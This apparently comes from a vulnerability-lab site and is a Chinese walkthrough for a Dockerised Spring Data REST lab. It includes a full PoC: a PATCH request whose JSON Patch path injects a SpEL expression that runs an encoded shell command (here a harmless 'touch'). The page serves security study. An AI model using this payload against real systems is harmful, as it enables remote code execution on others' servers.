漏洞信息
获取环境:
- 拉取镜像到本地
$ docker pull medicean/vulapps:s_spring_1
- 启动环境
$ docker run -d -p 8080:8080 medicean/vulapps:s_spring_1
-p 8080:8080
前面的 8080 代表物理机的端口,可随意指定。
使用与利用
访问 http://你的 IP 地址:端口号/
, 假设启动的端口号为 8080
PoC
-
访问
http://127.0.0.1:8080/
,测试服务是否启动成功 - 利用 POST 请求添加一个数据
POST /persons HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: application/json Cache-Control: no-cache {"firstName": "VulApps", "lastName": "VulApps"}
- 执行 PoC
PATCH /persons/1 HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: application/json-patch+json Cache-Control: no-cache Content-Length: 228 [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{47,117,115,114,47,98,105,110,47,116,111,117,99,104,32,47,116,109,112,47,118,117,108,110}))/lastName", "value": "vulapps-demo" }]
- 进入容器,发现成功创建文件
参考链接
改动日志
- 2017/09/29 删除原 jar 包中 mongodb 依赖
Comments